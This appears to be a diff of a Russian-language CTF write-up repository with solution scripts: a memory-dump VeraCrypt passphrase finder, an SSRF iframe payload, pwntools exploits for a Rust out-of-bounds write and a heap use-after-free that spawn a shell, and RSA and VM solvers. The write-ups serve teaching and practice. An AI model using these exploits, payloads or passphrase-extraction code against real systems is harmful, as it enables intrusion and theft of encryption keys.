f"[+] offset=0x{off:X} tweak={base} order={label} hits={','.join(hits)} sig={pt[3:11]!r}"
)
print(pt[:64].hex())
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,101 @@
import argparse
import os
import struct
from pathlib import Path
from typing import Iterable, Iterator, Tuple
def iter_input_files(paths: Iterable[str]) -> Iterator[Path]:
for p in paths:
path = Path(p)
if path.is_dir():
for child in sorted(path.rglob("*")):
if child.is_file():
yield child
elif path.is_file():
yield path
def scan_password_structs(
data: bytes, *, min_len: int, max_len: int
) -> Iterator[Tuple[int, int, str]]:
"""
Heuristic scan for the (TrueCrypt/VeraCrypt) Password struct:
uint32 Length; char Text[...];
We look for:
<len:uint32le> <len bytes printable ASCII> <any byte> 0x00 0x00 0x00
This mirrors volatility3's truecrypt passphrase finder which validates the
3 bytes *after* the presumed NUL terminator but doesn't explicitly check
the terminator byte itself.
"""
mv = memoryview(data)
n = len(data)
min_total = 4 + min_len + 4
if n < min_total:
return
unpack_from = struct.unpack_from
for i in range(0, n - min_total + 1):
(length,) = unpack_from("<I", mv, i)
if length < min_len or length > max_len:
continue
start = i + 4
end = start + length
tail = end + 4
if tail > n:
continue
pw = mv[start:end]
if any((c < 0x20 or c >= 0x7F) for c in pw):
continue
if data[end + 1 : tail] != b"\x00\x00\x00":
continue
try:
pw_str = pw.tobytes().decode("ascii")
except UnicodeDecodeError:
continue
yield i, length, pw_str
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("paths", nargs="+", help="Files and/or directories to scan")
ap.add_argument("--min-len", type=int, default=5)
ap.add_argument("--max-len", type=int, default=64)
args = ap.parse_args()
seen = set()
hits = 0
for fp in iter_input_files(args.paths):
try:
data = fp.read_bytes()
except Exception as exc:
print(f"[!] Failed to read {fp}: {exc}")
continue
for off, length, pw in scan_password_structs(
data, min_len=args.min_len, max_len=args.max_len
):
key = (pw,)
if key in seen:
continue
seen.add(key)
hits += 1
print(f"{fp}\t0x{off:X}\t{length}\t{pw}")
if hits == 0:
print("[!] No candidates found")
return 2
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,185 @@
import logging
from typing import Generator, Iterable, List, Tuple
from volatility3.framework import constants, interfaces, objects, renderers
from volatility3.framework.configuration import requirements
from volatility3.framework.interfaces import configuration
from volatility3.framework.objects.utility import array_to_string
from volatility3.framework.renderers import format_hints
from volatility3.framework.symbols import intermed
from volatility3.framework.symbols.windows.extensions import pe
from volatility3.plugins.windows import modules
vollog = logging.getLogger(__name__)
class Passphrase(interfaces.plugins.PluginInterface):
"""VeraCrypt/TrueCrypt cached passphrase finder (driver .data scan)."""
_version = (0, 1, 0)
_required_framework_version = (2, 5, 2)
@classmethod
def get_requirements(cls) -> List[configuration.RequirementInterface]:
return [
requirements.ModuleRequirement(
"kernel",
description="Windows kernel",
architectures=["Intel32", "Intel64"],
),
requirements.VersionRequirement(
name="modules", component=modules.Modules, version=(3, 0, 0)
),
requirements.IntRequirement(
name="min-length",
description="Minimum length of passphrases to identify",
default=5,
optional=True,
),
requirements.StringRequirement(
name="driver",
description=(
"Driver name substring to scan (case-insensitive), "
"e.g. 'veracrypt', 'veracrypt-x64.sys', 'truecrypt.sys'"
),
default="veracrypt",
optional=True,
),
]
def scan_module(
self, module_base: int, layer_name: str
) -> Generator[Tuple[int, str], None, None]:
pe_table_name = intermed.IntermediateSymbolTable.create(
self.context, self.config_path, "windows", "pe", class_types=pe.class_types
)
dos_header: pe.IMAGE_DOS_HEADER = self.context.object(
pe_table_name + constants.BANG + "_IMAGE_DOS_HEADER",
layer_name,
module_base,
)
data_section: objects.StructType = next(
sec
for sec in dos_header.get_nt_header().get_sections()
if array_to_string(sec.Name) == ".data"
)
base: int = data_section.VirtualAddress + module_base
size: int = data_section.Misc.VirtualSize
# Looking at `Length` in TrueCrypt/Common/Password.h::Password struct
DWORD_SIZE_BYTES: int = 4
fmt = objects.DataFormatInfo(
length=DWORD_SIZE_BYTES, byteorder="little", signed=True
)
int32 = objects.templates.ObjectTemplate(
objects.Integer, pe_table_name + constants.BANG + "int", data_format=fmt
)
count, not_aligned = divmod(size, DWORD_SIZE_BYTES)
if not_aligned:
raise ValueError("PE data section not DWORD-aligned!")
lengths = self.context.object(
pe_table_name + constants.BANG + "array",
layer_name,
base,
count=count,
subtype=int32,
)
min_length = self.config.get("min-length")
for length in lengths:
if not min_length <= length <= 64:
continue
offset = length.vol["offset"] + DWORD_SIZE_BYTES
passphrase: objects.Bytes = self.context.object(
pe_table_name + constants.BANG + "bytes",
layer_name,
offset,
length=length,
)
if not all(0x20 <= c < 0x7F for c in passphrase):
continue
buf: objects.Bytes = self.context.object(
pe_table_name + constants.BANG + "bytes",
layer_name,
offset + length + 1,
length=3,
)
if any(buf):
continue
yield offset, passphrase.decode(encoding="ascii")
def _find_driver_bases(
self, mods: Iterable[interfaces.objects.ObjectInterface]
) -> List[int]:
driver_substr = (self.config.get("driver") or "").lower().strip()
def matches(mod_name: str, needle: str) -> bool:
return needle and needle in mod_name
def bases_for(needle: str) -> List[int]:
out: List[int] = []
for mod in mods:
try:
name = mod.BaseDllName.get_string().lower()
except Exception:
continue
if matches(name, needle):
out.append(int(mod.DllBase))
return out
if driver_substr:
bases = bases_for(driver_substr)
if bases:
return bases
for needle in ("veracrypt", "truecrypt"):
bases = bases_for(needle)
if bases:
return bases
return []
def _generator(self):
kernel = self.context.modules[self.config["kernel"]]
mods: Iterable[interfaces.objects.ObjectInterface] = modules.Modules.list_modules(
self.context, self.config["kernel"]
)
driver_bases = self._find_driver_bases(mods)
if not driver_bases:
vollog.warning(
"No VeraCrypt driver module found in the modules list. Unable to proceed."
)
return
seen = set()
for module_base in driver_bases:
try:
for offset, password in self.scan_module(module_base, kernel.layer_name):
key = (offset, password)
if key in seen:
continue
seen.add(key)
yield (0, (format_hints.Hex(offset), len(password), password))
except Exception as exc:
vollog.debug("Failed scanning module at 0x%x: %s", module_base, exc)
def run(self) -> renderers.TreeGrid:
return renderers.TreeGrid(
[
("Offset", format_hints.Hex),
("Length", int),
("Password", str),
],
self._generator(),
)

View File

@@ -0,0 +1,24 @@
# Web 1.2 Страж Портала Локхолда
В Портале Локхолда стоит Страж: он не пропускает запретные имена, но не знает истинных числовых титулов. Архимаг печатает свитки, и через печать можно заглянуть туда, куда запрещено смотреть.
## Решение
Фильтр блокирует строку `127.0.0.1`, но не все эквивалентные формы `loopback`-адреса. Если использовать числовое представление (`2130706433` или `0x7f000001`), проверка обходится, и рендерер открывает тот же локальный адрес.
Дальше всё стандартно: вставляем URL в `iframe` внутри HTML-свитка, отправляем контент на `/seal` и получаем PDF с содержимым `flag.txt`.
## Пример
Вариант через `curl`:
```bash
curl -s -X POST http://localhost:8000/seal \
-F 'content=<h1>Королевский Указ</h1><iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>' \
-F 'format=html' \
-o scroll.pdf
```
Также можно воспользоваться готовым скриптом `solve/exploit.py`:
```bash
python solve/exploit.py http://localhost:8000
```

View File

@@ -0,0 +1,27 @@
import sys
import requests
def main():
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
payload = """
<h1>Королевский Указ</h1>
<p>Приложение: донесение из Локхолда</p>
<iframe src="http://2130706433/flag.txt" style="width:800px;height:200px"></iframe>
""".strip()
resp = requests.post(
f"{base}/seal",
data={"content": payload, "format": "html"},
timeout=10,
)
resp.raise_for_status()
with open("scroll.pdf", "wb") as f:
f.write(resp.content)
print("saved scroll.pdf")
if __name__ == "__main__":
main()

95
OxidePool-PWN/README.md Normal file
View File

@@ -0,0 +1,95 @@
# OxidePool
НУ ооочень простой протокол обмена сообщениями....
## Протокол
Сетевой протокол little-endian, пакет имеет такой layout:
`op:u8 flags:u8 seq:u16 len:u16 csum:u16` + `payload`
, где `csum` — сумма всех байтов payload по модулю `2^16`.
Команды:
- `0x10 HELLO`, payload: empty.
- Ответ: `nonce:u64` + `version:u32`.
- `0x11 AUTH`, payload: `token:u64`, где `token = nonce ^ 0xC0DEC0DEC0DEC0DE`.
- `0x20 ALLOC`, payload: `count:u16` (количество аллокаций в сессии).
- `0x21 FREE`, payload: `idx:u16` (освобождение слота).
- `0x22 SELECT`, payload: `idx:u16` (выбор активного слота).
- `0x30 WRITE`, payload: `offset:u16`, `len:u16`, `data[len]`.
- Работает если выставлен флаг `flags & 1`.
- `0x31 TRIGGER`, payload: empty (запускает handler).
- `0x40 LEAK`, payload: `stage:u8` (`0` или `1`).
## Идея эксплойта
Уязвимость в `Session` связана с неверной проверкой границ в `WRITE`:
- layout структуры:
```text
[ buf: [u8; 0xFFF0] ][ handler: Box<dyn Handler> ][ guard: u64 ]
```
- проверка границы идёт через `u16`:
```rust
let end = offset.wrapping_add(data.len() as u16);
if end <= BUF_SIZE as u16 {
ptr::copy(data.as_ptr(), buf.add(offset as usize), data.len());
}
```
Из-за `wrapping_add` и `u16` `end` переполняется, и запись с `offset=0xFFF0`, `len=16` проходит проверку, хотя фактически выходит за `buf`.
Это даёт OOB overwrite в `handler` (fat pointer: data ptr + vtable ptr) и позволяет переписать `vtable` на адрес из утёкших данных после декодирования.
ASLR/PIE включены, поэтому нужен leak ключа шифрования для расшифровки указателей.
## Решение
1. Сделать `HELLO`
- Отправить `0x10 HELLO`.
- Получить `nonce`.
2. Аутентифицироваться
- Отправить `0x11 AUTH` с токеном `nonce ^ 0xC0DEC0DEC0DEC0DE`.
- Получить обычный ACK.
3. Построить/подготовить session (`heap grooming`)
- `ALLOC` на 5 слотов (`count=5`).
- `FREE` одного слота (`idx=1`).
- `SELECT` слота с индексом 0 (`idx=0`).
4. Вытянуть замаскированные указатели через LEAK
- `LEAK` с `stage=0` -> получаем `masked_data` и `masked_vtable`.
- `LEAK` с `stage=1` -> получаем `key_hint`.
5. Вычислить XOR-ключ. Например, это можно сделать следующим образом:
```python
key = key_hint ^ (nonce + 0x9E3779B97F4A7C15)
key = ror(key, 11)
```
Где `ror` — циклический сдвиг вправо на 11 бит в 64-битах.
6. Расшифровать реальные поля:
```python
data = masked_data ^ key
vtable = masked_vtable ^ key
```
Тут `data` указывает на управляемый буфер, `vtable` — легитимный указатель на dispatch таблицу.
7. Записать OOB-переписыванием fat pointer
- Сформировать payload:
- `offset = 0xFFF0`
- `len = 16`
- `data = p64(data) + p64(vtable)`
- Отправить `0x30 WRITE` с `flags=1`.
За счёт переполнения `end` запись уходит в область после буфера и перезаписывает указатель обработчика на контролируемые значения.
8. Вызвать обработчик
- Отправить `0x31 TRIGGER`.
- Должен отработать изменённый callback.
9. Получить доступ к shell.

89
OxidePool-PWN/solve.py Normal file
View File

@@ -0,0 +1,89 @@
#!/usr/bin/env python3
from pwn import *
context.binary = None
context.log_level = "info"
HOST = args.HOST or "127.0.0.1"
PORT = int(args.PORT or 31337)
BUF_SIZE = 0xFFF0
def checksum(data: bytes) -> int:
return sum(data) & 0xFFFF
def pack_pkt(op: int, seq: int, payload: bytes = b"", flags: int = 0) -> bytes:
hdr = p8(op) + p8(flags) + p16(seq) + p16(len(payload)) + p16(checksum(payload))
return hdr + payload
def recv_reply(io):
hdr = io.recvn(8)
op = hdr[0]
seq = u16(hdr[2:4])
ln = u16(hdr[4:6])
csum = u16(hdr[6:8])
payload = io.recvn(ln)
if checksum(payload) != csum:
log.failure("bad checksum")
return op, seq, payload
def main():
io = remote(HOST, PORT)
seq = 1
io.send(pack_pkt(0x10, seq))
_, _, payload = recv_reply(io)
nonce = u64(payload[0:8])
log.info(f"nonce=0x{nonce:x}")
seq += 1
token = nonce ^ 0xC0DEC0DEC0DEC0DE
io.send(pack_pkt(0x11, seq, p64(token)))
recv_reply(io)
seq += 1
io.send(pack_pkt(0x20, seq, p16(5)))
recv_reply(io)
seq += 1
io.send(pack_pkt(0x21, seq, p16(1)))
recv_reply(io)
seq += 1
io.send(pack_pkt(0x22, seq, p16(0)))
recv_reply(io)
seq += 1
io.send(pack_pkt(0x40, seq, b"\x00"))
_, _, payload = recv_reply(io)
masked_data = u64(payload[0:8])
masked_vtable = u64(payload[8:16])
seq += 1
io.send(pack_pkt(0x40, seq, b"\x01"))
_, _, payload = recv_reply(io)
key_hint = u64(payload[0:8])
seq += 1
key = (key_hint ^ (nonce + 0x9E3779B97F4A7C15))
key = ((key >> 11) | (key << (64 - 11))) & 0xFFFFFFFFFFFFFFFF
data = masked_data ^ key
vtable = masked_vtable ^ key
log.info(f"data=0x{data:x} vtable=0x{vtable:x}")
payload = p16(BUF_SIZE) + p16(16) + p64(data) + p64(vtable)
io.send(pack_pkt(0x30, seq, payload, flags=1))
recv_reply(io)
seq += 1
io.send(pack_pkt(0x31, seq))
io.interactive()
if __name__ == "__main__":
main()

3
README.md Normal file
View File

@@ -0,0 +1,3 @@
# Герои Кодекса
Райтапы для заданий с Героев Кодекса, проходивших 22.02.2026

62
RSA-Crypto/README.md Normal file
View File

@@ -0,0 +1,62 @@
# Crypto-RSA
Слухи в Таверне гласят: кто найдёт Грааль, тот получит бесконечный запас маны и золота.
Некромант Сандро путешествует по Эрафии в поисках Грааля. Координаты сокровища надёжно зашифрованы могущественным заклинанием RSA. Чтобы снять защиту, нужно знать точное расположение всех Обелисков, которые формируют секретный магический фокус. Сандро успел посетить 6 из 8 Обелисков. Теперь он знает старшие биты магической координаты, но правый нижний угол карты всё ещё скрыт "Туманом войны". Не сумев полностью открыть карту, некромант в ярости бросил зашифрованный свиток и обрывок карты с открытыми Обелисками.
Разведчики передали эти данные вам. Сможете ли вы рассеять Туман войны, полностью восстановить координату и забрать Грааль до того, как Сандро вернётся с армией скелетов?
`
N = 10478327092484087119158811738002527881601133392230605359728636777609815579869678283867331428873702230467781035800930319302134425662634483320132982489385831425841142683276245240139807770094242769842712285436324254272792640567220605759816440095519657990655930770697233495280191856795686977028814794477226478424022094334917595550943153970859743416443075466307652568512202801367425261698533904718831085305741122872685782348491901469147144819542733684143982118060593950861934225209591938661726842353411448979388331957984491039941720316208753034352185033359022438790970437880769652134820269624136545195696512412902086547737
`
`
e = 65537
`
`
c = 2371908478747310630059898986871876272895367385836679471620653994043895929391935759268461102073140210469448513517093388784915155590867680910861238126882230573331605292181787234136901129322001225804993239553253815115175454153650336400717451897405778509283155936103207023688258230128247475695422393595702338795973073870189334970154365471517517328052432202583617568778188997290909337026276528139911107673782208700833801910261741350704957213863331988920136397794697512939924729956005535011011328130093021943779761037406840279182736278184729352019628495185205816545145747722511667416937357754661788964429902091376671458313
`
`
p_revealed = 103537519170277717476703855704210234988984256477016725267975201195283786500355490562158033894185780133509016924890164868577876427195910662513213720292660530388165461591925825231155280679347647383014480743406031945282107222824466834575211761120068458069640414044465161781503967875409303695137308078472563785728
`
## Идея атаки
Нам даны стандартные параметры RSA: $N$, $e$ и шифротекст $c$. Однако ключевая особенность кроется в значении `p_revealed`.
Разрядность $N$ - около 2048 бит (617 десятичных знаков). Нам дана часть одного из множителей ($p$). Если известна значительная часть бит одного из множителей (обычно более половины бит фактора), можно восстановить весь фактор методами поиска малых корней многочленов.
`f(x) = p_revealed + x (mod N)`.
Поскольку нам известны старшие биты $p$, мы имеем дело с задачей Partial Key Exposure. Согласно теореме Копперсмита, если мы знаем около $1/2$ бит фактора $p$ (для $p \approx \sqrt{N}$ это составляет $1/4$ бит от всего $N$), то можем найти недостающую часть за полиномиальное время.
### Математическая модель
Пусть $p = p_{revealed} + x$, где $x$ - неизвестная младшая часть (тот самый "Туман войны"). Ищем корень $x_0$ для полинома:
$$f(x) = p_{revealed} + x$$
по модулю некоторого неизвестного делителя $N$. В среде SageMath метод `small_roots()` позволяет находить такие корни, если выполняется условие $x < N^{0.25}$. В нашем случае $N \approx 2^{2048}$, следовательно, можно восстановить до 512 бит. У нас скрыто 448 бит, что идеально вписывается в границы применимости метода.
### Алгоритм действий в скрипте
Определяем кольцо многочленов над $\mathbb{Z}_N$. Задаём полином $f(x) = x + p_{revealed}$. Находим корень $x_0$ через LLL-редукцию (инкапсулировано в `small_roots`). Вычисляем $p = p_{revealed} + x_0$, находим $q = N / p$ и восстанавливаем секретную экспоненту $d$.
## Готовый solver
Готовый файл с скриптом решения: `solve.sage`. Он:
- парсит `task.txt`;
- запускает `small_roots` для `f(x)`;
- восстанавливает `p`, `q`, `d`;
- печатает флаг.
Запустить его можно следующим образом:
```bash
sage writeup/solve.sage public/task.txt
```
Таким образом получим флаг:
```
caplag{N3cr0m4nc3rs_us3_Fr4nkl1n_R31t3r_4tt4ck}
```

63
RSA-Crypto/solve.sage Normal file
View File

@@ -0,0 +1,63 @@
#!/usr/bin/env sage
# -*- coding: utf-8 -*-
import re
import sys
def parse_task(path):
text = open(path, "r", encoding="utf-8").read()
def pick(name):
m = re.search(rf"^{name}\s*=\s*([0-9]+)\s*$", text, re.MULTILINE)
if not m:
raise RuntimeError(f"cannot find {name} in {path}")
return Integer(m.group(1))
N = pick("N")
e = pick("e")
c = pick("c")
p_revealed = pick("p_revealed")
return N, e, c, p_revealed
def main():
task_path = sys.argv[1] if len(sys.argv) > 1 else "public/task.txt"
N, e, c, p_revealed = parse_task(task_path)
# From src/chal.py
hidden_bits = 448
X = 2 ** hidden_bits
print(f"[*] N bits: {N.nbits()}")
print(f"[*] hidden bits: {hidden_bits}")
print("[*] running Coppersmith small_roots...")
R = Zmod(N)
P.<x> = PolynomialRing(R)
f = x + p_revealed
roots = f.small_roots(X=X, beta=0.4)
if not roots:
raise RuntimeError("small_roots found no solution")
x0 = Integer(roots[0])
p = Integer(p_revealed + x0)
if N % p != 0:
raise RuntimeError("candidate p does not divide N")
q = Integer(N // p)
phi = (p - 1) * (q - 1)
d = Integer(inverse_mod(e, phi))
m = Integer(power_mod(c, d, N))
m_int = int(m)
flag = m_int.to_bytes((m_int.bit_length() + 7) // 8, "big")
try:
print(flag.decode("utf-8"))
except Exception:
print(flag)
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,163 @@
# SuiGeneris
Это не x86. Это не ARM. Это нечто sui generis — единственное в своём роде.
## Разбор решения
В начале нам выдается `vm_runner` и `firmware.bin`
Попытаемся проверить что делает и для чего задействован бинарь:
```bash
file vm_runner
strings -n 5 vm_runner | head -n 20
./vm_runner
./vm_runner firmware.bin
```
Так получим, что, во-первых, это **ELF x86_64**. Также заметим, если не передать никаких аргументов, тогда бинарник напечатает: `usage: %s firmware.bin`. И, наконец, если в качестве аргумента воспользуемся файлов с прошивкой, тогда у нас попросит ввести флаг `Enter flag:` и затем получим ответ `Correct!` или `Wrong.`.
То есть задача сводится к тому, чтобы понять, как именно раннер валидирует ввод.
Изучим функцию загрузки прошивки. Для этого обратимся к строкам `bad firmware header` и `failed to load firmware`. Там обнаружим следующие факты:
- сначала читаются 24 байта заголовка;
- проверяются `magic` и `version`;
- потом читаются `code_len` и `data_len` 32-битных слов.
Общий формат заголовка выглядит следующим образом:
| Поле | Тип | Назначение |
| --- | --- | --- |
| `magic` | `uint32_t` | Сигнатура прошивки |
| `version` | `uint32_t` | Версия формата |
| `code_len` | `uint32_t` | Длина code-секции (в словах) |
| `data_len` | `uint32_t` | Длина data-секции (в словах) |
| `flag_len` | `uint32_t` | Ожидаемая длина флага |
| `target` | `uint32_t` | Целевой параметр проверки |
Выполним быструю проверку:
```python
import struct
from pathlib import Path
b = Path("firmware.bin").read_bytes()
magic, version, code_len, data_len, flag_len, target = struct.unpack("<6I", b[:24])
print(hex(magic), version, code_len, data_len, flag_len, hex(target))
print("file_size", len(b))
print("expected", 24 + 4 * code_len + 4 * data_len)
```
В цикле исполнения декод инструкции такой:
| Поле | Формула извлечения | Биты |
| --- | --- | --- |
| `dst` | `insn & 0xFFF` | `0..11` |
| `src` | `(insn >> 12) & 0xFFF` | `12..23` |
| `guard` | `(insn >> 24) & 0xFF` | `24..31` |
То есть инструкция кодируется как:
```text
MOVE: dst | (src << 12) | (guard << 24)
```
Логику `guard` удобнее воспринимать как развилку:
```mermaid
flowchart TD
B{guard == 0xFF?}
B -- Да --> C[Выполнить команду]
B -- Нет --> D{R_guard even}
D -- Да --> E[Пропустить команду]
D -- Нет --> C
```
> `guard = 0xFF` всегда запускает команду; иначе команда выполняется только при нечётном `R[guard]`.
Сформируем карту портов. Восстановим её из `read_src`/`write_dst`:
| Блок | Порты | Назначение |
| --- | --- | --- |
| Registers | `0x00..0x0F` | `R0..R15` |
| ALU | `0x10`, `0x11`, `0x12` | `A`, `B/trigger`, `OUT` |
| MUL | `0x20`, `0x21`, `0x22` | `A`, `B/trigger`, `OUT` |
| ROT | `0x30`, `0x31`, `0x32` | `A`, `S/trigger`, `OUT` |
| PRNG | `0x40`, `0x41`, `0x42` | `seed`, `step/trigger`, `OUT` |
| HASH | `0x60`, `0x61`, `0x62` | `A`, `B/trigger`, `OUT` |
| INPUT | `0x51` | Чтение байтов введенного флага |
| CONST | `0x90` | Чтение 32-битных слов из `data[]` |
| OUTPUT | `0x52` | Буфер выхода VM |
Теперь попытаемся определить, что делают блоки `ALU/MUL/ROT/HASH/PRNG`. Семантика из `write_dst`:
```c
alu(a,b) = a + b
mul(a,b) = a + b
rot(a,s) = rol(a, s)
hash(a,b) = a + b + 0x9E3779B9
prng(x,t) = xorshift32(x ^ t)
```
чтение `*_OUT` просто возвращает последнее значение. Никакой блокировки чтения по `ready` тут нет
После выполнения VM в `main` идет финальная проверка:
- считается `output_base = 3 + 3 * flag_len`;
- проверяется, что длина `data[]` достаточна;
- сравниваются `vm.output_buf` и хвост `data[]`;
- дополнительно сравнивается `R15` с отдельным словом `target2`.
Из этого получается такой `layout`:
| Смещение в `data[]` | Содержимое |
| --- | --- |
| `0` | `seed` для `R14` |
| `1` | `seed` для `R15` |
| `2` | `seed` для `PRNG` |
| `3..(3 + 3*flag_len - 1)` | Константы `c_mul`, `c_rot`, `c_tw` |
| далее `flag_len` слов | `expected_output` |
| последнее слово | `target2` (целевое значение `R15`) |
Если декодировать блок кода VM, он повторяется для каждого байта ввода.
Псевдокод получается такой:
```text
R14 = seed_r14
R15 = seed_r15
PRNG = seed_prng
MUL_OUT = 0
for i in 0..n-1:
byte = input[i]
stale_mul = MUL_OUT
stale_prng = PRNG
MUL_OUT = byte + c_mul[i]
rot = rol(R14, c_rot[i])
alu = rot + stale_prng
R14 = hash(stale_mul, alu)
PRNG = prng(PRNG, c_tw[i])
R15 = hash(R15, byte)
OUTPUT[i] = R15
```
В прошивке лежит полный массив `OUTPUT`, а это просто последовательные значения `R15`. Обновление регистра:
```text
R15_next = R15_prev + byte + 0x9E3779B9
```
Отсюда напрямую:
```text
byte = R15_next - R15_prev - 0x9E3779B9
```
Проходим по всем `OUTPUT[i]`, для каждого считаем `byte`, проверяем что это диапазон `0..255`, и получаем весь флаг.
### Автоматический solver
В репозитории также прикреплен файл с авторешением: `solver.py`. Запуск можно осуществить при помощи команды:
```bash
python3 solve/solver.py firmware.bin
```

View File

@@ -0,0 +1,158 @@
#!/usr/bin/env python3
from __future__ import annotations
import argparse
import struct
from pathlib import Path
MAGIC_TTAB = 0x42415454 # 'TTAB'
HDR_FMT = "<6I"
def rol32(x: int, r: int) -> int:
r &= 31
return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF
def prng_step(state: int, tweak: int) -> int:
x = (state ^ tweak) & 0xFFFFFFFF
x ^= (x << 13) & 0xFFFFFFFF
x ^= (x >> 17) & 0xFFFFFFFF
x ^= (x << 5) & 0xFFFFFFFF
return x & 0xFFFFFFFF
def alu_op_int(a: int, b: int) -> int:
return (a + b) & 0xFFFFFFFF
def hash_op_int(a: int, b: int) -> int:
return (a + b + 0x9E3779B9) & 0xFFFFFFFF
def load_firmware(path: Path):
blob = path.read_bytes()
if len(blob) < struct.calcsize(HDR_FMT):
raise ValueError("firmware too small")
magic, version, code_len, data_len, flag_len, target = struct.unpack_from(HDR_FMT, blob, 0)
if magic != MAGIC_TTAB or version != 1:
raise ValueError("bad firmware header")
off = struct.calcsize(HDR_FMT)
code_sz = code_len * 4
data_sz = data_len * 4
if len(blob) < off + code_sz + data_sz:
raise ValueError("truncated firmware")
code = list(struct.unpack_from(f"<{code_len}I", blob, off))
off += code_sz
data = list(struct.unpack_from(f"<{data_len}I", blob, off))
return {
"code": code,
"data": data,
"flag_len": flag_len,
"target": target,
}
def solve(
fw,
prefix: str | None,
suffix: str | None,
alphabet: str | None,
no_format: bool,
) -> bytes:
data = fw["data"]
flag_len = fw["flag_len"]
target = fw["target"]
if flag_len < 2 or len(data) < 4:
raise ValueError("bad firmware constants")
seed_r14 = data[0]
seed_r15 = data[1]
seed_prng = data[2]
output_base = 3 + 3 * flag_len
if len(data) < output_base + flag_len + 1:
raise ValueError("bad firmware layout")
consts = data[3:output_base]
c_mul = consts[0::3]
c_rot = consts[1::3]
c_tw = consts[2::3]
outputs = data[output_base:output_base + flag_len]
target2 = data[output_base + flag_len]
recovered = []
r15 = seed_r15
for out in outputs:
b = (out - r15 - 0x9E3779B9) & 0xFFFFFFFF
if b > 0xFF:
raise RuntimeError("invalid output stream: byte out of range")
recovered.append(b)
r15 = out
flag = bytes(recovered)
# format constraints
if not no_format:
if prefix is None or suffix is None or alphabet is None:
raise ValueError("format constraints require prefix/suffix/alphabet")
if not flag.startswith(prefix.encode("ascii")):
raise RuntimeError("prefix mismatch")
if not flag.endswith(suffix.encode("ascii")):
raise RuntimeError("suffix mismatch")
mid = flag[len(prefix): len(flag) - len(suffix)]
alpha = set(alphabet.encode("ascii"))
if any(ch not in alpha for ch in mid):
raise RuntimeError("alphabet mismatch")
# verify accumulators match firmware targets
prng = seed_prng
r14 = seed_r14
r15 = seed_r15
mul_out = 0
for i, ch in enumerate(flag):
stale_mul = mul_out
stale_prng = prng
mul_out = (ch + c_mul[i]) & 0xFFFFFFFF
rot = rol32(r14, c_rot[i])
alu = alu_op_int(rot, stale_prng)
r14 = hash_op_int(stale_mul, alu)
prng = prng_step(prng, c_tw[i])
r15 = hash_op_int(r15, ch)
if r14 != target or r15 != target2:
raise RuntimeError("verification failed against firmware targets")
return flag
def main() -> int:
ap = argparse.ArgumentParser(description="Recover flag from firmware.bin.")
ap.add_argument("firmware", nargs="?", default="public/firmware.bin")
ap.add_argument("--prefix", default="caplag{", help="known flag prefix")
ap.add_argument("--suffix", default="}", help="known flag suffix (1 char)")
ap.add_argument("--alphabet", default="0123456789ABCDEF", help="alphabet for middle bytes")
ap.add_argument("--no-format", action="store_true", help="disable prefix/suffix/alphabet constraints")
args = ap.parse_args()
fw = load_firmware(Path(args.firmware))
flag = solve(
fw,
prefix=None if args.no_format else args.prefix,
suffix=None if args.no_format else args.suffix,
alphabet=None if args.no_format else args.alphabet,
no_format=args.no_format,
)
try:
print(flag.decode("ascii"))
except UnicodeDecodeError:
print(flag)
return 0
if __name__ == "__main__":
raise SystemExit(main())

30
Warriors-Pwn/README.md Normal file
View File

@@ -0,0 +1,30 @@
# Warriors
Добро пожаловать на Арену Хроноса. Здесь воины рождаются из байтов памяти. Только Повелитель Времени может манипулировать временной линией без последствий. Сможете ли вы победить Хранителя Целостности и захватить Флаг?
## Решение
1. Открываем бинарь в **IDA/Ghidra** и разбираем команды меню: `spawn`, `sacrifice`, `scout`, `rewind`, `rename`, `invoke_core`.
2. Понимаем модель памяти: `Warrior` хранится в куче, а слоты в таблице держат указатели на эти чанки.
3. Находим уязвимую связку `sacrifice` + `rewind(1)`: после отката в таблице остаётся указатель на уже освобождённый чанк (UAF).
4. Через `scout(slot, -8, 8)` снимаем `encrypted_next` у освобождённого чанка и получаем `heap_cookie`, нужный для корректного `next`.
5. Используем `rename(slot, -16, blob)`, чтобы писать перед `name` и подделать заголовок чанка:
- `checksum = crc32(name)` (4 байта),
- `pad` (4 байта),
- `encrypted_next = target ^ cookie` (8 байт),
- `name` (64 байта).
6. В качестве `target` выбираем `g_bridge` и отравляем free-list через UAF-объект.
7. Делаем два `spawn`: первый снимает обычный элемент из списка, второй даёт контролируемую аллокацию в целевой адрес.
8. Перезаписываем `dispatch` в `g_bridge` адресом `summon_oracle` (например, `b"A"*24 + p64(summon_oracle)`).
9. Вызываем `invoke_core()` и получаем выполнение `summon_oracle`, после чего появился shell.
10. В shell читаем флаг:
```bash
cat /app/flag.txt || cat deploy/flag.txt || cat flag.txt
```
Полный PoC: [exploit.py](exploit.py)
```bash
python3 exploit.py
```

146
Warriors-Pwn/exploit.py Normal file
View File

@@ -0,0 +1,146 @@
#!/usr/bin/env python3
from pwn import *
import os
import re
import zlib
ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
DEFAULT_BIN = os.path.join(ROOT, "public", "chronos_arena")
BINARY_PATH = args.BIN if args.BIN else DEFAULT_BIN
context.binary = ELF(BINARY_PATH, checksec=False)
context.terminal = ["tmux", "splitw", "-h"]
LEAKED_COOKIE = None
def forge_warrior(data, next_ptr):
"""
Build raw bytes for overwrite at (name-16) region:
[checksum|pad|encrypted_next|name(64)]
"""
global LEAKED_COOKIE
if LEAKED_COOKIE is None:
raise ValueError("Cookie is not leaked yet")
name = data.ljust(64, b"\x00")[:64]
checksum = zlib.crc32(name) & 0xFFFFFFFF
encrypted_next = (next_ptr ^ LEAKED_COOKIE) & 0xFFFFFFFFFFFFFFFF
return p32(checksum) + p32(0) + p64(encrypted_next) + name
def start():
if args.REMOTE:
host = args.HOST if args.HOST else "127.0.0.1"
port = int(args.PORT) if args.PORT else 1337
return remote(host, port)
if args.GDB:
return gdb.debug([BINARY_PATH], gdbscript="continue")
return process([BINARY_PATH])
class GameInteraction:
def __init__(self, tube):
self.io = tube
def _choose(self, idx):
self.io.sendlineafter(b"Chronos> ", str(idx).encode())
def spawn(self, name):
self._choose(1)
self.io.sendlineafter(b"Warrior name: ", name)
line = self.io.recvline().decode(errors="ignore").strip()
